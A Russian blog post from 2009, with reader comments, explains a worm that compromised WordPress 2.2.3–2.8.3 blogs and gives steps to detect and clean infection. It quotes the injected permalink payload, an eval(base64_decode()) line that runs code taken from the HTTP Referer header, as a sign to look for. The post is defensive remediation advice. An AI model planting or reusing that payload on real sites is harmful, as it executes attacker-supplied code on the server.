Взлом WordPress!

Взлом WordPress
За прошедшие выходные от взлома пострадал не один десяток блогов. Взлому подвергались почти все блоги на которых был установлен WordPress от версии 2.2.3 до версии 2.8.3 (версия 2.8.4 не имеет данной уязвимости).
Уязвимость заключается в том что, червь регистрируется у Вас в блоге (не важно включена ли регистрация или нет), попадает на страницу постоянных ссылок (permalink) и добавляет в них вредоносный код. Затем повышает себя до уровня админа и при этом скрывает свое существование, т.е. в списке пользователей его видно не будет. После этого вирус добавляет спам ссылки в архивные топики.

Обнаружить взломан Ваш блог или нет можно по выполнив следующие действия:
1) Проверить структуру ЧПУ (Админка - Параметры - Постоянные ссылки) на вредоносный код по типу:
/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}} - если он есть то убрать его. (восстановив прежний вид ЧПУ).

2) Проверить количество администраторов блога (Админка - Пользователи - вверху страницы строка со всеми пользователями и их количеством), убедиться что на блоге только ОДИН администратор. Если администраторов больше одного то нужно удалить лишних, при этом в списке пользователей их может быть не видно. Существует несколько способов найти и удалить лишних админов, но на мой взгляд самый точный и самый удобный воспользоваться phpMyAdmin.

Запрос который необходимо выполнить к базе данных блога выглядит вот так:

SELECT u.ID, u.user_login
FROM wp_users u, wp_usermeta um
WHERE u.ID = um.user_id
AND um.meta_key = 'wp_capabilities'
AND um.meta_value LIKE '%administrator%';

Далее просто выбираем лишних админов и удаляем их.

Чтобы избежать повторного взлома или избежать взлом (тем кого к счаcтью не взломали) можно обновиться до версии WordPress 2.8.4. Для кого обновление это не вариант можно воспользоваться способом который придумал уважаемый Юрий Белотицкий (более известный как ЮБ). Для этого просто зайдите в папку /wp-includes/ и найдите там файл vars.php. После строки:

$pagenow = $self_matches[1];

добавьте еще одну строку

$pagenow = trim($pagenow, '/');

После этого Ваш блог должен быть защищен (на всех своих блогах я выполнил данную процедуру и тьфу-тьфу все нормально).

На этом защита (очистка) Вашего сайта завершена. Если появится еще какая либо информация я обязательно отпишусь.

Рубрика: Разное | 07 сентября 2009

Предыдущие записи из рубрики `Разное`

22 комментария

Neolot, 08.09.2009 в 11:54

У меня 2.8.3 и эта строка есть, странно...

ОтветитьОтветить
coyc, 08.09.2009 в 17:23

Мораль сей басни такова... ставьте обновления сразу 😀
на блогах все пучком, стоит последняя версия 🙂

ОтветитьОтветить
Deimos, 08.09.2009 в 19:02

Neolot, посмотрел действительно есть, в 2.8.2 уже точно нет. Но однако вроде я слышал что блог на 2.8.3 тоже ломали, хотя может и путаю. На 2.8.2 точно ломали - читал на одном из блогов.

coyc, тут ты тоже не совсем прав, даже посмотреть как появлялась версия 2.8, одна за другой уязвимостью... Тут наверное золотой серединой будет обновляться, но не сразу, но в это время почитывать блоги, и установить пару простейших плагинов,анти-хсс, беливар, бэкапить базу и т.д. и тогда можно ничего не боятся 8)

ОтветитьОтветить
seoded, 08.09.2009 в 21:37

Какой гадкий червечишко! =) Ишь чего удумал - блоги ломать.

ОтветитьОтветить
Agudo, 09.09.2009 в 04:28

А что слышно про версии ниже второй? у меня стоят 1.5.2, обновляться совсем не хочется 8)

ОтветитьОтветить
Deimos, 09.09.2009 в 10:12

Agudo, ничего не слышал... WordPress 1.5.2 это круто, тогда еще он кушал мало... а как так получилось что так давно не обновлялись? Много самописи ил еще что, может кините ссылочку - хоть посмотреть сайт на таком антиквариате. =)

ОтветитьОтветить
zenith, 09.09.2009 в 10:14

Касается ли это и блогов на WordPress MU?

ОтветитьОтветить
Deimos, 09.09.2009 в 10:56

zenith, наверника сказать не могу, но скорее всего да, проверьте vars.php на наличие строки $pagenow = trim($pagenow, '/'); если ее нет, то добавьте, хуже не должно быть 😉

ОтветитьОтветить
alfline, 16.09.2009 в 00:20

Спасибо. Нашел администратор в базе. Удалил. Обновился.

ОтветитьОтветить
Skop, 22.09.2009 в 15:25

Только на днях натолкнулся на такой url %&({${eval(base64_decode($_SERVER[HTTP_REFERER])) на каком-то блоге в рунете, думал бага какая-то.

ОтветитьОтветить
Yakto, 01.12.2009 в 20:09

Спасибо за информацию по самозащите! Тока восстановил работу сайта, траффик обнулился совсем... ;(

ОтветитьОтветить
Виталий Гуменников, 18.01.2010 в 16:49

Существует несколько способов найти и удалить лишних админов, но на мой взгляд самый точный и самый удобный воспользоваться phpMyAdmin.
Запрос который необходимо выполнить к базе данных блога выглядит вот так...
Не профессионал я совсем, нашел лишнего админа у себя. Но...
Вы объясните как и где сделать этот запрос, куда залезть(где это) и где что исправить.
Спасибо заранее за ответ!

ОтветитьОтветить
Виталий Гуменников, 18.01.2010 в 20:21

Спасибо большое! Вот теперь все понятно. Просто не знал где находится этот phpmyadmin.

ОтветитьОтветить
Виталий Гуменников, 18.01.2010 в 21:11

Побеспокою еще Вас. Удаляю я этого пользователя в SQL, а он мне вот что выдает и не удаляет его, что это подскажите и как быть?
SQL-запрос:

DELETE FROM `wp_users` WHERE `u`.`ID` =302 LIMIT 1

Ответ MySQL: Документация
#1054 - Unknown column 'u.ID' in 'where clause'

ОтветитьОтветить
Виталий Гуменников, 18.01.2010 в 21:30

Все я убил этого гада. Поделюсь как это получилось у меня. По запросу автора, которым он поделился, он у меня вылез этот левый админ, я его убивать а он не поддается. В итоге пошарив еще инет, нашел следующее, что и помогло:
Открыл в базах
wp_usermeta и wp_users, а там выдало много записей на этого админа, удалил их все там, а потом уже в юзерах его и грохнул.
Ничего особенного, но тем не менее уточнение, для таких не профессионалов как я. Спасибо!

ОтветитьОтветить
Deimos, 18.01.2010 в 20:13

Виталий Гуменников, лезть надо в phpmyadmin - путь к нему можете узнать у своего хостера (если Вы сами не знаете)... далее выбираете базу блога, входите во вкладку SQL и в появившееся поле вводите эту команду - и все 😉

ОтветитьОтветить
Виталий Гуменников, 19.01.2010 в 11:47

Да черт его знает... Внимание на это обратил может недели 2 назад, что админа 2, посмотрел, видно только меня было. Значения этому не придал никакого, пока не начались левые атаки на админку моего блога. Полез смотреть инфу по безопасности блога и наткнулся на этот материал, ну и все понял тогда по этим левым админам. Теперь установил всякой защиты и по спокойней стало.
Я вот задавал выше вопрос, что очистил эту гадость, блог работал и работает исправно. Обязательно необходимо обновляться, чем может отразиться пребывание этой заразы на моем блоге определенное время?

ОтветитьОтветить
Deimos, 19.01.2010 в 11:38

Виталий Гуменников, поздравляю с избавлением от этой заразы, сайт то у Вас давно заразился?

ОтветитьОтветить
Алексей, 22.01.2010 в 16:53

Блин, а мне вот не помогает... Админов нет. Код весь вычищаю, путем копирования файлов на комп. Потом в каждом файле удаляю сторочки с лишним кодом (программой TextReplacer). Потом перезаливаю. Неделю работает нормально, а потом опять фигня такая... Код вида "*/GNU GPL/*..."

Сегодня какой-то другой вылез... Но тоже такого вида, с теми же попытками сходить на какой-то ресурс. NOD32 пока пресекает эти попытки, но надолго ли...

Версия WordPress - 2.9

ОтветитьОтветить
Виталий Гуменников, 22.01.2010 в 20:16

Я поставил антивирус на блог, плюс еще файервол. Антивирус нашел левые коды один раз как установил его. Я вычистил, все проблем нет. Проверяю теперь постоянно. А файервол блокирует даже мои попытки изменить коды. Т.е забил один IP свой в разрешенные и все. Атаки он обнаруживает сразу, но таковых не было, кроме меня самого 🙂 А так тьфу, тьфу избавился и теперь вооружился до зубов. Плюс поставил плагин скрывающий версию вордпресса и изменил себя с имени админ на другое.

ОтветитьОтветить

Комментировать